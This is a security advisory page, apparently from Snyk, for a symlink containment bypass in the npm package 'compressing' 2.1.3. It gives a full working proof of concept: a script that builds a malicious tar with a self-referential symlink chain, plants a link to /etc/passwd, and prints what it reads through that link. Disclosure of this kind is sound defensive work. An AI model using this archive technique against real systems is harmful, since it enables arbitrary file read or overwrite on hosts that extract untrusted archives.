Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade compressing to version 2.1.4 or higher.
compressing is an Everything you need for compressing and uncompressing
Affected versions of this package are vulnerable to Symlink Attack via makeUncompressFn in lib/utils.js, where the symlink containment check (isRealPathSafe) resolves a symlink entry's target against the entry's textual path rather than the real, on-disk parent directory. An attacker can supply a tar, tgz, or zip archive that first creates an internal directory symlink (e.g. sub/d -> ..) pointing back to the extraction root, then chains further entry paths through that link (e.g. sub/d/sub/d/sub/d/sub/d/x). Because the textual depth makes a ../../../../../../../../etc/passwd target appear contained, the guard accepts it and plants a symlink at the extraction root pointing to an arbitrary filesystem path, enabling arbitrary file read or overwrite when the application later accesses the extracted tree.
node 22, Docker with --network none:
#!/bin/sh
# PoC: compressing@2.1.3 symlink containment bypass via self-referential symlink (single archive, no pre-existing state).
# Run on acer (docker, install with network, PoC with --network none):
# mkdir -p /tmp/verify-v3/c && cd /tmp/verify-v3/c && cp <this file> .
# docker run --rm -v $PWD:/w -w /w node:22 sh -c 'npm i compressing@2.1.3 --silent'
# docker run --rm --network none -v $PWD:/w -w /w node:22 sh poc-compressing.sh
cat > mk.py <<'PY'
import tarfile, io, sys
def sym(t,name,link):
i=tarfile.TarInfo(name); i.type=tarfile.SYMTYPE; i.linkname=link; t.addfile(i)
def d(t,name):
i=tarfile.TarInfo(name); i.type=tarfile.DIRTYPE; i.mode=0o755; t.addfile(i)
N='sub/d/'*4+'x' # textual depth 8 below dest, real depth 0 (sub/d -> '..' == dest)
for out,up in (('control.tar',9),('attack.tar',8)): # control: textual target escapes dest -> must be rejected
t=tarfile.open(out,'w')
d(t,'sub'); sym(t,'sub/d','..') # accepted: target == dest
sym(t,N,'../'*up+'etc/passwd')
t.close()
PY
python3 -I mk.py
cat > run.js <<'JS'
const c=require('compressing'),fs=require('fs'),path=require('path');
(async()=>{
for (const t of ['control','attack']) {
const dest='/tmp/ex-'+t; fs.rmSync(dest,{recursive:true,force:true});
await c.tar.uncompress(t+'.tar',dest);
const x=path.join(dest,'x');
let l; try{l=fs.readlinkSync(x)}catch(e){l='(none)'}
console.log(`[${t}] extracted entries:`,fs.readdirSync(dest),' x -> ',l,
' realpath(x)=', (()=>{try{return fs.realpathSync(x)}catch(e){return 'ERR '+e.code}})());
if (t==='attack') console.log('read through planted link:', fs.readFileSync(x,'utf8').split('\n')[0]);
}
})();
JS
node run.js
[control] extracted entries: [ 'sub' ] x -> (none) realpath(x)= ERR ENOENT
[compressing] Skipping symlink "sub/d/sub/d/sub/d/sub/d/x": target "/tmp/etc/passwd" escapes extraction directory
[attack] extracted entries: [ 'sub', 'x' ] x -> ../../../../../../../../etc/passwd realpath(x)= /etc/passwd
read through planted link: root:x:0:0:root:/root:/bin/bash
The guard rejects the textually escaping link (control), but the attack archive plants x -> /etc/passwd in the extraction directory.
Note: The PoC states it targets node 22 running inside Docker with --network none.